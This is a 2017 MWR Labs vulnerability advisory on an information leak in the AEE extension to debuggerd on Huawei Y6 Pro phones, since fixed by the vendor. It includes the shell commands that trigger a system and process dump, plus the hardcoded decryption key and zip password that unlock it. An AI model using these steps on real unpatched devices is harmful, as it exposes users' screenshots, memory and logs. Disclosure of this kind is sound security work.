MWR LABS

Security Advisory

Information Disclosure via AEE extension to debuggerd

21/08/2017

Software	AEE extension to debuggerd
Affected Versions	Huawei Y6 Pro Dualsim (Version earlier than TIT-L01C576B120)
Author	Mateusz Fruba
Severity	Medium
Vendor	Huawei
Vendor Response	Fix Released

Description:

Huawei is a company that provides networking and telecommunications equipment.

The AEE (Android Exception Enhancement) extension in the debuggerd daemon leaks sensitive information such as screenshots, the address space of any process, kernel and system logs, and other information about the current state of the system. A malicious Android application, or any other user on the device, could abuse this to disclose sensitive data or develop further attacks against the device itself.

Impact:

Exploitation of this issue could allow any user to disclose sensitive information, which can then be used to develop further attacks or to steal confidential data such as screenshots or application logs.

Cause:

Lack of privilege validation on the `@com.mtk.aee.aed` and `@com.mtk.aee.aed_64` unix sockets.

Solution:

This vulnerability was resolved by Huawei in version TIT-L01C576B120. More information can be found on the Huawei web page: http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20170804-01-smartphone-en

Technical details

The debuggerd daemon shipped was built to provide additional AEE system debugging functionality via exposed `@com.mtk.aee.aed` and `@com.mtk.aee.aed_64` unix sockets. Unfortunately it was observed that debuggerd did not validate which UID's connect to the `@com.mtk.aee.aed` socket. Therefore, any application (or shell user) is able to establish a socket connection and request information about specific processes or system state.

It was also discovered that the device contained an '`aee`' client binary (`'/system/bin/aee'`), which provided the following functionality:

```
USAGE : aee [options...]
  -c dal          : clear DAL layer
  -s [on/off]     : switch on/off the R&B (Red screen & Beep) feature
  -d db           : dump db.xx manually
  -d [cnt]        : set db file count
  -n [cnt]        : set fatal db file count
  -d yes          : force db stored on sdcard
  -d no           : store db on sdcard first. If fails, store it on data
  -d coreon       : enable userspace coredump
  -d coreoff      : disable userspace coredump
  -d directon     : enable one signal direct coredump
  -d directoff    : disable one signal direct coredump
  -d info         : show the meaning of db files
  -e [Level]      : switch caught exception level.0~4
  -p pid          : Dump process information/core
  -r              : Show current running exception
  -k [Level]      : modify kernel console_loglevel(0~8)
  -m [1/2/3/4]    : 1(Internal Eng Build), 2(Internal user build), 3(custom Eng build),
4(custom user build)
  -t [time]       : 0(disable hang_detect_trigger_hwt), time(hang_detect_trigger_hwt
timeout)
  -a [0/1/2/nnn] : [MT-RAMDUMP]: 0:allocation disable. 1:halfmem size. 2:fullmem size.
nnn:user-defiend size(>256MB). %s
v1.8
  -z [outfile]    : [MT-RAMDUMP]: fetch the ext4 coredump data to outfile.
```

After reversing the debuggerd AEE extensions and supporting binaries, it was possible to dump the state of the system, screenshots, and specific information about any given process into an encrypted zip file stored in the sdcard of the device.

To trigger such an information dump, the following commands can be executed on the target device:

```
aee -d yes
aee -m 3
aee -p <pid of process to dump>
```

As a result, debuggerd will create the following files on the sdcard:

```
shell@HWTIT-L6735:/ $ ls -la /sdcard//mtklog/aee_exp/db.00.ManualDump/
-rw-rw---- root     sdcard_r       77 2015-09-08 08:18 ZZ_INTERNAL
-rw-rw---- root     sdcard_r 155606437 2017-03-28 12:50 db.00.ManualDump.dbg
```

By analysing the '`/system/bin/aee_archieve`' file, which is executed by debuggerd, it was discovered that the '`db.00.ManualDump.dbg`' file was a partially encrypted, password protected, zip file.

In order to be able to decrypt such file, the initial 0x100 bytes had to be decrypted first using the following key, which was hardcoded in the `aee_archieve` binary:

```
char key[] = { 0xC5, 0x14, 0x28, 0x51, 0x61, 0x6F, 0x15, 0xC8, 0x32, 0xE0, 0x4D, 0x54,
0x36, 0x35, 0x37, 0x33 };
```

It was also possible to unpack the '`db.00.ManualDump.dbg`' file using the following static password, which was also found to be hardcoded in the '`aee_archieve`' binary: "`X4rLa8f3`".

A list of files contained in the zip file are provided below:

```
  15759 BT_SURFACEFLINGER
  15756 BT_SURFACEFLINGER_1
  64562 BT_SYSTEM_SERVER
  22304 BT_SYSTEM_UI
  64425 BT_SYSTEM_SERVER_1
  22304 BT_SYSTEM_UI_1
  75370 DUMPSYS_ACTIVITY
  17206 DUMPSYS_GFXINFO
   8350 DUMPSYS_MEMINFO
  18733 DUMPSYS_SURFACEFLINGER
  17495 DUMPSYS_WINDOW
    413 __exp_main.txt
 151313 NE_JBT_TRACES
      6 PROCESS_CMDLINE
    187 PROCESS_ENVIRONMENT
    708 PROCESS_FILE_STATE
    751 PROCESS_MAPS
      4 PROCESS_OOM_ADJ
      2 PROCESS_OOM_SCORE
   2595 PROCESS_SCHED
```

```
      0 PROCESS_SHOWMAP
    706 PROCESS_STATE
1045154
SFDump_[com.android.systemui.ImageWallpaper](LAST_ts51613)_H0x7fa0e82380_w720_h1280_s720.pn
g
  52753
SFDump_[com.mwr.dz_com.mwr.dz.activities.MainActivity](Acquired00_ts597509)_H0x7f9ec122a0_w
720_h1184_s720.png
  18827
SFDump_[FrameBufferSurface_0](Acquired00_ts533669)_H0x7fa0f08c00_w720_h1280_s736.png
   5408 SFDump_[NavigationBar](Acquired00_ts598073)_H0x7f9afe5600_w720_h96_s720.png
   8970 SFDump_[StatusBar](Acquired00_ts597476)_H0x7f9ec12660_w720_h50_s720.png
 151313 SWT_JBT_TRACES
 118698 SYS_ALL_THREADS
 164186 SYS_ANDROID_EVENT_LOG
 545517 SYS_ANDROID_LOG
      0 SYS_ANDROID_RADIO_LOG
     88 SYS_BACKLIGHTS
 263655 SYS_BINDER_INFO
    100 SYS_BUDDY_INFO
   2240 SYS_CPU_INFO
   3515 SYS_DISPLAY
  16502 SYS_EVENT_LOG_TAGS
   1103 SYS_FILE_SYSTEMS
  36279 SYS_FTRACE
      0 SYS_GED_INFO
   2878 SYS_INTERRUPTS
   7801 SYS_ION_MM_HEAP
     96 SYS_KERNEL_CPUFREQ
 130990 SYS_KERNEL_LOG
   3747 SYS_KERNEL_WAKELOCKS
      0 SYS_LIBRANK
    994 SYS_MEMORY_INFO
 114449 SYS_MEMORY_LOG
   2346 SYS_MOUNT_INFO
    823 SYS_NETWORK_STATE
 214128 SYS_PACKAGE_SETTINGS
     59 SYS_PACKAGE_UID_ERRORS
 120925 SYS_PROCESSES_AND_THREADS
      0 SYS_PROCRANK
   7115 SYS_PROC_SCHED_DEBUG
  19686 SYS_PROPERTIES
  11081 SYS_VERSION_INFO
   1677 SYS_VIRTUAL_MEMORY_STATS
  32191 SYS_VMALLOC_INFO
   1329 SYS_ZONEINFO
    325 SYS_ZRAMINFO
```

```
    75 ZZ_INTERNAL
```

Detailed Timeline

Date	Summary
2017-04-05	Issue reported to vendor.
2017-08-04	Huawei confirmed this issue was fixed in version TIT-L01C576B120.